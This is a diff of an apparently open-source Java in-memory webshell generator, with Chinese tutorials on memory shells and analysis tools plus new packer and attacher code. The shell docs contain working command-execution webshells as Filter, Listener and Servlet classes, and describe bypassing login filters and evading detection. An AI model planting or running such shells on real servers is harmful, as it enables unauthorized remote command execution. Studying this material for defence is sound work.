+    -e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
+    memshell-party:latest
+```
+
+If you need to use NGINX as a reverse proxy, first build the container with a custom access path. Then configure NGINX similar to the following:
+
+Ensure that the `location /memshell-party`、`ROUTE_ROOT_PATH=/memshell-party`、`CONTEXT_PATH=/memshell-party` and
+`BOOT_OPTS=--server.servlet.context-path=/memshell-party` all use the same path.
+
+```text
+location /memshell-party {
+  proxy_pass http://127.0.0.1:8080;
+  proxy_set_header Host $http_host;
+  proxy_set_header X-Forwarded-By $server_addr:$server_port;
+  proxy_set_header X-Forwarded-For $remote_addr;
+  proxy_http_version 1.1;
+  proxy_connect_timeout 3s;
+  proxy_read_timeout 300s;
+  proxy_send_timeout 300s;
+  proxy_buffer_size 16k;
+  proxy_buffers 8 64k;
+  proxy_busy_buffers_size 128k;
+}
+```
+
+## Contribute
+
+> Any feedback or issue discussion you provide is a contribution to this project.
+
+> It will be so nice if you want to contribute. 🎉
+
+1. If you have strong Docker environment building skills, consider adding integration test cases related to specific CVEs. 
+2. If you are skilled in writing memory shells, try adding support for a new type or target. 
+3. If you have extensive practical experience, feel free to open issues with suggestions or improvements.
+
+For project structure, build processes, and compilation details, please refer to [CONTRIBUTING.md](../CONTRIBUTING.md)。
+
+## Thanks
+
+- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
+
+### Let's start the party 🎉

docs/RecommendToolForJavaGuys.md

@@ -0,0 +1,178 @@
+# 学习 Java 内存马推荐工具
+
+> 工欲善其事必先利其器
+
+## Arthas
+
+Arthas 是阿里云开源的 Java 诊断工具，其本质是一个 Java Agent，它提供了各种各样的命令，能让我们洞察 JVM 各种细节信息。所有的使用姿势 [官方文档](https://arthas.aliyun.com/) 都有，以下会列举一些常见的场景和问题
+
+JDK8 以上的下载链接，https://arthas.aliyun.com/doc/download.html
+JDK6/7 下载链接，https://arthas.aliyun.com/3.x/doc/download.html
+
+### 启动 Arthas
+
+直接输入 `java -jar arthas-boot.jar` 启动，回车之后会弹出选项，输入数字选择需要调试的 Java 进程。
+
+```bash
+❯ java -jar arthas-boot.jar
+[INFO] JAVA_HOME: /Users/reajason/.sdkman/candidates/java/21.0.5-oracle
+[INFO] arthas-boot version: 4.0.5
+[INFO] Found existing java process, please choose one and input the serial number of the process, eg : 1. Then hit ENTER.
+* [1]: 83922 /Users/reajason/.vscode/extensions/sonarsource.sonarlint-vscode-4.19.0-darwin-arm64/server/sonarlint-ls.jar
+  [2]: 86557 com.intellij.idea.Main
+```
+
+有时候可能没有 jps 命令或者不是 HotSpot JVM 会找不到 Java 进程，此时你需要通过 `ps` 找到你需要调试的 Java 进程 PID，并使用 `java -jar arthas-boot.jar <pid>` 启动。
+
+```bash
+root@df393b860ae3:/opt/arthas# java -jar arthas-boot.jar
+[INFO] JAVA_HOME: /opt/java/openjdk
+[INFO] arthas-boot version: 4.0.5
+[INFO] Can not find java process. Try to run `jps` command lists the instrumented Java HotSpot VMs on the target system.
+Please select an available pid.
+```
+
+arthas-boot 依赖 JDK 环境需要 tools.jar 才能启动，在 JRE 环境会歇菜。
+
+```bash
+root@df393b860ae3:/opt/arthas# ps -ef | grep java
+root           1       0  3 14:19 ?        00:00:01 /opt/java/openjdk/bin/java -Djava.util.logging.config.file=/usr/local/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/usr/local/tomcat -Dcatalina.home=/usr/local/tomcat -Djava.io.tmpdir=/usr/local/tomcat/temp org.apache.catalina.startup.Bootstrap start
+root          87      50  0 14:20 pts/0    00:00:00 grep --color=auto java
+root@df393b860ae3:/opt/arthas# java -jar arthas-boot.jar 1
+[INFO] JAVA_HOME: /opt/java/openjdk
+[INFO] arthas-boot version: 4.0.5
+[INFO] arthas home: /opt/arthas
+[INFO] Try to attach process 1
+Exception in thread "main" java.lang.IllegalArgumentException: Can not find tools.jar under java home: /opt/java/openjdk, please try to start arthas-boot with full path java. Such as /opt/jdk/bin/java -jar arthas-boot.jar
+        at com.taobao.arthas.boot.ProcessUtils.findJavaHome(ProcessUtils.java:222)
+        at com.taobao.arthas.boot.ProcessUtils.startArthasCore(ProcessUtils.java:233)
+        at com.taobao.arthas.boot.Bootstrap.main(Bootstrap.java:590)
+```
+
+前面说了 Arthas 本质就是 Java Agent，因此使用 [jattach](https://github.com/jattach/jattach/releases/latest) 工具将其注入，再尝试连接即可。
+
+TIP1: **注入的是 `/opt/arthas/arthas-agent.jar`**
+TIP2: **启动仍然用的 `arthas-boot.jar`**
+
+```bash
+root@df393b860ae3:/opt/arthas# ./jattach-linux 1 load instrument false /opt/arthas/arthas-agent.jar
+Connected to remote JVM
+JVM response code = 0
+0
+
+root@df393b860ae3:/opt/arthas# java -jar arthas-boot.jar 1
+[INFO] JAVA_HOME: /opt/java/openjdk
+[INFO] arthas-boot version: 4.0.5
+[INFO] arthas home: /opt/arthas
+[INFO] The target process already listen port 3658, skip attach.
+[INFO] arthas-client connect 127.0.0.1 3658
+  ,---.  ,------. ,--------.,--.  ,--.  ,---.   ,---.
+ /  O  \ |  .--. ''--.  .--'|  '--'  | /  O  \ '   .-'
+|  .-.  ||  '--'.'   |  |   |  .--.  ||  .-.  |`.  `-.
+|  | |  ||  |\  \    |  |   |  |  |  ||  | |  |.-'    |
+`--' `--'`--' '--'   `--'   `--'  `--'`--' `--'`-----'
+
+wiki        https://arthas.aliyun.com/doc
+tutorials   https://arthas.aliyun.com/doc/arthas-tutorials.html
+version     4.0.5
+main_class  org.apache.catalina.startup.Bootstrap start
+pid         1
+start_time  2025-04-09 14:19:48.004
+currnt_time 2025-04-09 14:23:16.044
+
+[arthas@1]$
+```
+
+当看到大片上述输出，且命令提示符变成 `[arthas@1]$` 你就成功进入 Arthas 了，接下来让我们看看有哪些好用的命令吧。
+
+### jad
+
+> [官方文档/jad.html](https://arthas.aliyun.com/doc/jad.html)
+
+jad 命令是用来查看反编译后的类源码。除了源码信息，还能查看是哪一个 classloader 加载的当前类，以及 classloader 的继承关系，还能看到当前类存在在哪个 jar 文件中（如果有的话），拖到 IDEA 里面就能进行调试啦。
+
+- `jad org.apache.lESNa.EncryptionUtil`，查看类源码完整信息。
+- `jad org.apache.catalina.core.ApplicationFilterChain doFilter`，仅查看 doFilter 方法的源码。
+
+![arthas_jad1](./images/arthas_jad1.png)
+
+![arthas_jad2](./images/arthas_jad2.png)
+
+如果回车之后显示找不到类的话，可能拼写错误，或类还没有被加载到 JVM 中，可以先尝试访问类依赖的业务路径，触发类加载之后再进行 jad。
+
+### classloader
+
+> [官方文档/classloader.html](https://arthas.aliyun.com/doc/classloader.html)
+
+classloader 用来查看类加载器信息。
+
+- `classloader` 查看当前有哪些类加载器，以及其类加载情况
+- `classloader -t` 查看类加载器继承关系
+- `classloader -c <hash>` 指定类加载实例 hash 查看其 urls
+
+![arhtas_classloader](./images/arthas_classloader.png)
+
+此处的分析将会在 Java 基础中提及，有些 ClassNotFoundException 或 ClassCastException 可以通过此种方式找到问题所在。
+
+### sc
+
+> [官方文档/sc.html](https://arthas.aliyun.com/doc/sc.html)
+
+sc 即 search-class，用来查找 JVM 中的类信息。常用的一种方式是查看 interface 的所有实现类。
+
+- `sc javax.servlet.Servlet`，查看 Servlet 实现类有哪些
+- `sc javax.servlet.ServletContext`，查看 ServletContext 实现类有哪些
+- `sc -d org.apache.catalina.core.ApplicationContext`，查看类的详细信息，这样我们能定位到 jar 拖出来进行反编译分析。
+
+![arthas_sc](./images/arthas_sc.png)
+
+### stop
+
+执行 stop 退出当前 Arthas 命令行环境，回到 Unix shell。
+
+```
+[arthas@1]$ stop
+Resetting all enhanced classes ...
+Affect(class count: 0 , method count: 0) cost in 2 ms, listenerId: 0
+Arthas Server is going to shutdown...
+[arthas@1]$ session (c5ee97b5-6809-48ab-bdfc-09d900087ec9) is closed because server is going to shutdown.
+```
+
+## Jadx
+
+> [skylot/jadx](https://github.com/skylot/jadx)
+
+目前 Java 最强反编译器，人手一个，几乎可以反编译任何 jar 包，部分究极混淆的类，即使无法反编译成功，也可查看字节码。
+
+打开之后，可以直接将 class 或 jar 拖入到左边框中就会自动进行反编译，点击 Source Code 里面就能看到反编译的结果，最下面可以选 Code、Smali 等等，一般 Code 里面反编译失败才需要切换，其他功能可查看 [记录 Rainbow Brackets 插件破解](https://reajason.eu.org/writing/rainbowbracketscracked/) 了解一下常用的操作。
+
+![jadx_interface](./images/jadx_interface.png)
+
+## File Expander — IDEA 插件
+
+IDEA 自带反编译功能，并且使用习惯之后也是相当好用。但是有一个问题，如果 jar 包中套 jar 包，那么里面的 jar 包并不会默认展开，自然想到的办法就是解压 一次 jar，把里面的东西弄出来，但是有了 File Expander 插件之后，无论是 zip 还是 jar in jar，都轻松查看了。
+
+![idea_plugins](./images/idea_plugins.png)
+
+下图演示了 java-chains-1.4.0.jar，直接可以 expand 到 chains-core，开学！！！，这种情况下不比 jadx 要好用。
+
+![idea_javachains](./images/idea_javachains.png)
+
+## Find 命令
+
+在批量查找当前目录下某个类存在于那个 jar 文件中，需要使用到 find 命令协助，由于需要用到 jar 命令，因此依赖 JDK 环境。JRE 环境下，可以将文件打包发送到 JDK 环境再继续研究。
+
+在 tomcat 目录下，找到 ApplicationContext 在哪个 jar 文件中。
+
+```bash
+░▒▓ ~/workspace/apache-tomcat-8.5.96
+❯ find . -name "*.jar" -type f -exec sh -c 'jar tvf "{}" | grep -q "org/apache/catalina/core/ApplicationContext" && echo "Found in: {}"' \;
+Found in: ./lib/catalina.jar
+```
+
+部分环境下，例如 WAS 可能并没有设置 Java Home，此时 jar 命令使用绝对路径即可。
+
+```bash
+[was@59385194e5aa AppServer]$ find . -name "*.jar" -type f -exec sh -c '/opt/IBM/WebSphere/AppServer/java/bin/jar tvf "{}" | grep -q "com/ibm/ws/webcontainer/webapp/WebApp" && echo "Found in: {}"' \;
+Found in: ./plugins/com.ibm.ws.webcontainer.jar
+```

docs/WhatIsMemShell.md

@@ -0,0 +1,41 @@
+# Java 内存马简介
+
+Java 内存马是一种无文件 webshell，相较于传统的 webshell，它无须落地 JSP 文件即可实现所有 webshell 功能。其唯一缺点可能就是服务重启即失效，因此也出现了附带的内存马复活相关技术。
+
+## 什么是 webshell
+
+> From [wikipedia](https://en.wikipedia.org/wiki/Web_shell)
+
+webshell 是一种类似于 shell 的入口，攻击者可通过它来控制目标 web 服务器并实施网络攻击。由于 PHP 被广泛应用于 Web 应用，因此 PHP webshell 是最常见的，当然 ASP、Java、NodeJs 等框架与编程语言也存在 webshell。
+
+常见的 webshell 功能包括：
+
+1. 命令回显，反弹 unix shell
+2. 网站管理工具，例如蚁剑、哥斯拉和冰蝎等。
+3. 代理隧道，例如 reGeorg、Neo-reGeorg、suo5 等。
+
+## 演变历程
+
+随着攻防演练热度越来越高，主机安全（文件监控、防篡改、EDR），WAF 流量设备，webshell 查杀等专业的安全设备被广泛使用。**webshell 已经从大马、小马、一句话马、加密一句话马逐步进化到现在的加密内存马，不断突破安全设备的检测**。无文件这一特性使主机安全设备变得失效，而加密则是针对 WAF 等流量设备，因此内存马使用得越来越多，当前唯一真正有效的防护措施只剩下了 **RASP（运行时应用安全防护）** — 这也是我目前所从事的方向 Java RASP 研发 — [靖云甲](https://www.boundaryx.com/category/product/adr)。
+
+因此内存马也被称为内存 webshell，相较于传统 webshell 的文件落地方式，只是在攻防对抗中进化，换了个实现方式挂 webshell。
+
+此项目 https://github.com/tennc/webshell 收集了超多不同编程语言的 webshell，或许你遇到有意思的 webshell 时，可以考虑将其改造成内存马。
+
+## 常见 Java 内存马
+
+在 Java 中 webshell 常见的后缀有 jsp 和 jspx。根据 Servlet 的定义（这部分的知识强烈推荐：[Head First Servlets and JSP](https://www.amazon.com/Head-First-Servlets-JSP-Certified/dp/0596516681)），JSP 本质就是一个 Servlet，它提供了独特的 entrypoint 用于访问。因此一开始大家最常打的内存马就是 Servlet 内存马，通过 JSP 获取 request 拿到 ServletContext 进行 Servlet 的动态注册。
+
+冰蝎工具后来提供了 Java Agent 内存马实现，使得内存马技术得到了广泛传播。
+
+**任何能进行 Web 通信的组件都可以成为内存马依附的位置**。
+
+Java EE 中的 Servlets 就提供了 Servlet、Filter 以及 Listener，Tomcat 通过挖掘已经有了 Upgrade、WebSocket、Executor、Valve、ApplicationFilterChain。并且 SpringWebMVC 中的 Controller、Interceptor，SpringWebFlux 中的 WebFilter 这种框架内存马也使用广泛。
+
+从技术实现的不同，分为非 Agent 内存马与 Agent 内存马，由于 Agent 内存马需要落地 Jar 包，冰蝎工具的作者后续也提供了无文件 Agent 内存马的实现方式，参考：[Java 内存攻击技术漫谈](https://xz.aliyun.com/news/9525)、[论如何优雅的注入 Java Agent 内存马](https://xz.aliyun.com/news/11086)。
+
+## 延伸阅读
+
+- [Shell 中的幽灵王者 — JAVAWEB 内存马【认知篇】](https://www.4hou.com/posts/zlkq)
+- [JAVA 内存马的“一生”](https://xz.aliyun.com/news/10451)
+- [一文看懂内存马](https://www.freebuf.com/articles/web/274466.html)

docs/shell/FilterShell.md

@@ -0,0 +1,101 @@
+# Java Servlet Filter
+
+> [Servlet 3.1 规范 — Filter 主要概念](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Filtering/6.2%20Main%20Concepts.md)
+
+Filter 是 Servlet 规范中定义的一个 Web 组件，可作用在一个 Servlet 或多个 Servlet 上，以链式的方式顺序调用，其允许改变请求和响应的头信息和内容。常见的过滤器有登录认证过滤器、字符编码过滤器以及加解密过滤器。
+
+## Filter 配置
+
+Filter 可以选择应用的 url-pattern 或 servlet-name，以下两种方式等价
+
+```xml
+<filter-mapping>
+    <filter-name>Multipe Mappings Filter</filter-name>
+    <url-pattern>/foo/*</url-pattern>
+    <servlet-name>Servlet1</servlet-name>
+    <servlet-name>Servlet2</servlet-name>
+    <url-pattern>/bar/*</url-pattern>
+</filter-mapping>
+```
+
+```java
+@WebFilter(
+        filterName = "Multipe Mappings Filter",
+        urlPatterns = {"/foo/*", "/bar/*"},
+        servletNames = {"Servlet1", "Servlet2"}
+)
+public class MultipeMappingsFilter implements Filter {
+    @Override
+    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
+        // TODO
+    }
+}
+```
+
+## doFilter
+
+Web 容器在启动时，会扫描 Web 应用中所有 Filter 的定义来注册 Filter，并将其封装成 FilterChain，每个 Filter 在 JVM 中只会有一个实例。
+
+Filter 的接口签名如下，其中最重要的就是 doFilter 方法。
+
+1. Web 容器在接收到请求时，会获取 FilterChain 中的第一个过滤器将 request、response 以及 chain 传入 doFilter 方法中进行调用。
+2. 当过滤器链中最后一个过滤器被调用，将会访问到最终的 Servlet 或静态资源。
+3. 手动在 doFilter 中调用 `chain.doFilter(request, response)`，将会访问 chain 中下一个过滤器。
+4. 在 doFilter 中可以选择不调用 `chain.doFilter(request, response)` 则意为阻止当前请求，那么当前过滤器需要负责填充响应对象。
+
+```java
+public interface Filter {
+    /**
+     * 由 Web 容器在初始化 Filter 时调用。
+     */
+    public void init(FilterConfig filterConfig) throws ServletException;
+    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException;
+    /**
+     * 由 Web 容器在卸载 Filter 时调用。
+     */
+    public void destroy();
+}
+```
+
+## FilterShell
+
+shell 的目的，就是为了定义一个入口，我们能与 Web 服务器进行交互。在 Filter 中我们就是实现 doFilter 来满足需求，以下定义了一个命令回显的 FilterShell。
+
+1. 一般而言，我们会为 FilterShell 注册 url-pattern 为 `/*`，这样无论访问哪个路径都能被调用到，而且为了绕过登录过滤器，我们会把 FilterShell 注册为  FilterChain 中的第一个过滤器。
+2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`，也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。
+3. 当 Filter 注册的 url-pattern 为 `/*` 时，我们拿到 cmd 参数，就可以执行命令并填充响应对象 `return` 结束请求，而在拿不到参数的时候就必须调用 `chain.doFilter(servletRequest, servletResponse)`，否则正常的业务就不会被执行。
+
+```java
+public class CommandFilter implements Filter {
+    public static String paramName;
+
+    @Override
+    public void init(FilterConfig filterConfig) throws ServletException {
+
+    }
+
+    @Override
+    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
+        HttpServletRequest servletRequest = (HttpServletRequest) request;
+        HttpServletResponse servletResponse = (HttpServletResponse) response;
+        String cmd = servletRequest.getParameter(paramName);
+        if (cmd != null) {
+            Process exec = Runtime.getRuntime().exec(cmd);
+            InputStream inputStream = exec.getInputStream();
+            ServletOutputStream outputStream = servletResponse.getOutputStream();
+            byte[] buf = new byte[8192];
+            int length;
+            while ((length = inputStream.read(buf)) != -1) {
+                outputStream.write(buf, 0, length);
+            }
+            return;
+        }
+        chain.doFilter(servletRequest, servletResponse);
+    }
+
+    @Override
+    public void destroy() {
+
+    }
+}
+```

docs/shell/ListenerShell.md

@@ -0,0 +1,79 @@
+# Event Listeners
+
+> [Servlet 3.1 规范 - 事件监听器](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Application%20Lifecycle%20Events/11.2%20Event%20Listeners.md)
+
+Servlet 事件监听器支持当 ServletContext、HttpSession 和 ServletRequest 状态变更时发送事件通知。每个事件类型的监听器都支持多个，并且开发者可以指定监听器的调用顺序。
+
+| Listener 接口类                                     | 描述                              |
+|--------------------------------------------------|---------------------------------|
+| javax.servlet.ServletContextListener             | 在 ServletContext 创建以及销毁时        |
+| javax.servlet.ServletContextAttributeListener    | 在 ServletContext 添加、移除或替换属性时    |
+| javax.servlet.http.HttpSessionListener           | 在 HttpSession 创建和销毁时            |
+| javax.servlet.http.HttpSessionAttributeListener  | 在 HttpSession 上添加、移除或替换属性       |
+| javax.servlet.http.HttpSessionIdListener         | 在 HttpSession id 变化时            |
+| javax.servlet.http.HttpSessionActivationListener | 在 HttpSession 激活或钝化时            |
+| javax.servlet.http.HttpSessionBindingListener    | 在 HttpSession 上对象绑定或解绑时         |
+| javax.servlet.ServletRequestListener             | 在 ServletRequest 在将要被 Web 容器处理时 |
+| javax.servlet.ServletRequestAttributeListener    | 在 ServletRequest 上添加、移除或替换属性时   |
+| javax.servlet.AsyncListener                      | 在异步操作开始、超时或完成时                 |
+
+## ServletRequestListener
+
+在编写 shell 时我们需要关注的主要就是 ServletRequestListener，在请求处理之前可以在拿到请求信息并处理（在 Filter 以及 Servlet 之前），由于它作为事件监听器的一员，并没有直接结束请求的机制，因此在对响应体重写等操作结束之后，最后还是会走到 Filter 和 Servlet 的逻辑。
+
+```java
+public interface ServletRequestListener extends EventListener {
+    public void requestDestroyed(ServletRequestEvent sre);
+
+    /**
+     * Receives notification that a ServletRequest is about to come
+     * into scope of the web application.
+     *
+     * @param sre the ServletRequestEvent containing the ServletRequest
+     * and the ServletContext representing the web application
+     */
+    public void requestInitialized(ServletRequestEvent sre);
+}
+```
+
+以下时使用 ServletRequestListenerShell 命令回显的代码实现。
+
+1. 由于此处只能拿到 ServletRequestEvent，其中只有 ServletRequest，但是一般中间件实现中，ServletRequest 中都会有能获取到 ServletResponse 的方法，因此额外新增了一个 getResponseFromRequest 方法。
+
+```java
+public class CommandListener implements ServletRequestListener {
+    public static String paramName;
+
+    public CommandListener() {
+    }
+
+    @Override
+    public void requestDestroyed(ServletRequestEvent sre) {
+
+    }
+
+    @Override
+    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
+        HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
+        try {
+            String cmd = request.getParameter(paramName);
+            if (cmd != null) {
+                HttpServletResponse servletResponse = this.getResponseFromRequest(request);
+                Process exec = Runtime.getRuntime().exec(cmd);
+                InputStream inputStream = exec.getInputStream();
+                ServletOutputStream outputStream = servletResponse.getOutputStream();
+                byte[] buf = new byte[8192];
+                int length;
+                while ((length = inputStream.read(buf)) != -1) {
+                    outputStream.write(buf, 0, length);
+                }
+            }
+        } catch (Exception ignored) {
+        }
+    }
+
+    private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
+        return null;
+    }
+}
+```

docs/shell/ServletShell.md

@@ -0,0 +1,98 @@
+# Java Servlet
+
+Java SE 中我们可以创建 socket 服务端为用户提供服务，但需要用户使用 socket 客户端，当然也可以基于 socket 实现 HTTP 协议，WebFlux 就是这样子的存在。而在 Java EE 中，Java 制定了 Servlet 规范，来规范在 Java 中提供 HTTP 服务的编写方式，其中有两个重要的概念，Servlet 与 Servlet Container。Servlet 是基于 Java 的 Web 组件，由容器进行管理，提供动态内容。Servlet 容器用于提供基于请求/响应发送模式的服务，必须支持 HTTP，并且管理 Servlet 的生命周期，使 Servlet 在一个受限的安全环境中执行。
+
+Servlet 规范旨在让开发者基于规范开发的应用，可以部署在任意满足规范的 Web 容器上。每个 Servlet 规范版本都引入了一些新的东西，Servlet 4.0 前的版本变更可查看 [java-servlet-version-history](https://www.codejava.net/java-ee/servlet/java-servlet-version-history)。
+
+目前常见的 Servlet 规范就是 [Servlet 3.1](https://github.com/waylau/servlet-3.1-specification/blob/master/docs), Tomcat 8.x 版本就是 Servlet 3.1 版本，从 Servlet 5.0 开始，Java EE 更名为 Jakarta EE，包路径从 javax 改为 jakarta。目前最新的 Servlet 规范是 [Servlet 6.1](https://jakarta.ee/zh/specifications/servlet/6.1/)。另外可以 [在此](https://tomcat.apache.org/whichversion.html) 查看 Tomcat 容器支持的 Servlet 规范版本。
+
+## ServletContext
+
+> [Servlet 3.1 规范 - 4.1 ServletContext 接口介绍](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Servlet%20Context/4.1%20Introduction%20to%20the%20ServletContext%20Interface.md)
+
+ServletContext 定义了 Servlet 运行的 Web 应用视图，一个 Web 应用对应一个 ServletContext。
+
+ServletContext 必须支持编程式添加 Servlet、Filter 和 Listener，对框架开发者有用处。但是规定了这些方法只能在 ServletContextListener.contexInitialized 或 ServletContainerInitializer.onStartup 应用初始化的时候调用。
+
+```java
+addServlet(String servletName, String className);
+addServlet(String servletName, Servlet servlet);
+addServlet(String servletName, Class <? extends Servlet> servletClass);
+addFilter(String filterName, String className);
+addFilter(String filterName, Filter filter);
+addFilter(String filterName, Class <? extends Filter> filterClass);
+void addListener(String className);
+void addListener(T t);
+void addListener(Class <? extends EventListener> listenerClass);
+```
+
+这就是在注入内存马时我们需要先拿 Context 的原因（已经写在了 Servlet 规范里面啦），所以针对实现了 Servlet 规范的 Web 容器都是一个套路，并且该反射调用哪些方法也写在里面了。不过在实现的时候却写了那么多代码的原因就是，其规定了这些方法只能在应用初始化的时候调用，我们注入内存马的时候已经是应用运行时了，那些代码实际上就是将方法内的具体实现重新用反射实现一遍。
+
+## HttpServlet
+
+99.99% 的时候，我们实现 HttpServlet 抽象类给予我们的能力就可以了，以下每个方法都对应了 HTTP Method 方法，当我们想要实现处理 Get 请求实现 doGet，处理 Post 请求就实现 doPost。
+
+```java
+protected void doGet(HttpServletRequest req, HttpServletResponse resp);
+protected void doPost(HttpServletRequest req, HttpServletResponse resp);
+protected void doPut(HttpServletRequest req, HttpServletResponse resp);
+protected void doDelete(HttpServletRequest req, HttpServletResponse resp);
+protected void doHead(HttpServletRequest req, HttpServletResponse resp);
+protected void doOptions(HttpServletRequest req, HttpServletResponse resp);
+protected void doTrace(HttpServletRequest req, HttpServletResponse resp);
+```
+
+Servlet 规范中规定了，对于非分布式应用来说，Servlet 容器必须确保对于每个 Servlet 定义只存在一个实例，但是 Web 服务是多线程的，所以 Servlet 是线程不安全的，在 Servlet 中的成员变量都是线程不安全的。
+
+针对 Servlet 的路径映射提供了注解的方式和 web.xml 方法，以下两种方式都能定义访问 `/foo` 即调用 CalculatorServlet 中对应的实现方法。
+
+```java
+@WebServlet(”/foo”)
+public class CalculatorServlet extends HttpServlet{
+//...
+}
+```
+
+```xml
+<servlet>
+    <servlet-name>foo</servlet-name>
+    <servlet-class>org.example.CalculatorServlet</servlet-class>
+</servlet>
+<servlet-mapping>
+    <servlet-name>foo</servlet-name>
+    <url-pattern>/foo</url-pattern>
+</servlet-mapping>
+```
+
+## ServletShell
+
+shell 的目的，就是为了定义一个入口，我们能与 Web 服务器进行交互。以下定义了一个命令回显的 ServletShell。
+
+1. doGet 调用转发给 doPost，这样我们即支持 GET 也支持 POST，防止某些情况下有请求方法的限制。
+2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`，也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。
+
+```java
+public class CommandServlet extends HttpServlet {
+    public static String paramName;
+
+    @Override
+    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
+        doPost(req, resp);
+    }
+
+    @Override
+    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
+        String cmd = request.getParameter(paramName);
+        if (cmd != null) {
+            Process exec = Runtime.getRuntime().exec(cmd);
+            InputStream inputStream = exec.getInputStream();
+            ServletOutputStream outputStream = response.getOutputStream();
+            byte[] buf = new byte[8192];
+            int length;
+            while ((length = inputStream.read(buf)) != -1) {
+                outputStream.write(buf, 0, length);
+            }
+        }
+    }
+}
+```

examples/memshell-party-maven-example/pom.xml

@@ -18,7 +18,7 @@
         <dependency>
             <groupId>io.github.reajason</groupId>
             <artifactId>generator</artifactId>
-            <version>1.0.4</version>
+            <version>1.8.0</version>
         </dependency>
     </dependencies>
 

generator/build.gradle

@@ -39,6 +39,9 @@ dependencies {
     implementation 'net.bytebuddy:byte-buddy'
     implementation 'org.ow2.asm:asm-commons'
 
+    implementation 'net.java.dev.jna:jna'
+    implementation 'net.java.dev.jna:jna-platform'
+
     implementation 'javax.servlet:javax.servlet-api'
     implementation 'javax.websocket:javax.websocket-api'
 

generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java

@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell;
 
 import com.reajason.javaweb.memshell.config.*;
 import com.reajason.javaweb.memshell.generator.*;
+import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
 import com.reajason.javaweb.memshell.server.AbstractShell;
 import com.reajason.javaweb.memshell.utils.CommonUtil;
 import org.apache.commons.lang3.StringUtils;

generator/src/main/java/com/reajason/javaweb/memshell/Packers.java

@@ -15,8 +15,12 @@ import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianXSLTScrip
 import com.reajason.javaweb.memshell.packer.deserialize.java.*;
 import com.reajason.javaweb.memshell.packer.el.ELPacker;
 import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
+import com.reajason.javaweb.memshell.packer.groovy.GroovyClassDefinerPacker;
 import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker;
+import com.reajason.javaweb.memshell.packer.groovy.GroovyScriptEnginePacker;
 import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
+import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJDKAttacherPacker;
+import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJREAttacherPacker;
 import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
 import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
 import com.reajason.javaweb.memshell.packer.jinjava.JinJavaPacker;
@@ -90,6 +94,9 @@ public enum Packers {
     SpELSpringUtils(new SpELSpringUtilsPacker(), SpELPacker.class),
 
     Groovy(new GroovyPacker()),
+    GroovyClassDefiner(new GroovyClassDefinerPacker(), GroovyPacker.class),
+    GroovyScriptEngine(new GroovyScriptEnginePacker(), GroovyPacker.class),
+
     Freemarker(new FreemarkerPacker()),
     Velocity(new VelocityPacker()),
     JinJava(new JinJavaPacker()),
@@ -116,6 +123,8 @@ public enum Packers {
     HessianXSLTScriptEngine(new HessianXSLTScriptEnginePacker(), HessianPacker.class),
 
     AgentJar(new AgentJarPacker()),
+    AgentJarWithJDKAttacher(new AgentJarWithJDKAttacherPacker()),
+    AgentJarWithJREAttacher(new AgentJarWithJREAttacherPacker()),
 
     XxlJob(new XxlJobPacker()),
     ;

generator/src/main/java/com/reajason/javaweb/memshell/Server.java

@@ -2,27 +2,11 @@ package com.reajason.javaweb.memshell;
 
 import com.reajason.javaweb.memshell.server.*;
 import com.reajason.javaweb.memshell.shelltool.antsword.*;
-import com.reajason.javaweb.memshell.shelltool.antsword.jetty.AntSwordHandlerAdvisor;
-import com.reajason.javaweb.memshell.shelltool.antsword.undertow.AntSwordServletInitialHandlerAdvisor;
 import com.reajason.javaweb.memshell.shelltool.behinder.*;
-import com.reajason.javaweb.memshell.shelltool.behinder.jetty.BehinderHandlerAdvisor;
-import com.reajason.javaweb.memshell.shelltool.behinder.undertow.BehinderServletInitialHandlerAdvisor;
 import com.reajason.javaweb.memshell.shelltool.command.*;
-import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAdvisor;
-import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAsmMethodVisitor;
-import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServerInitialHandlerAsmMethodVisitor;
-import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServletInitialHandlerAdvisor;
 import com.reajason.javaweb.memshell.shelltool.godzilla.*;
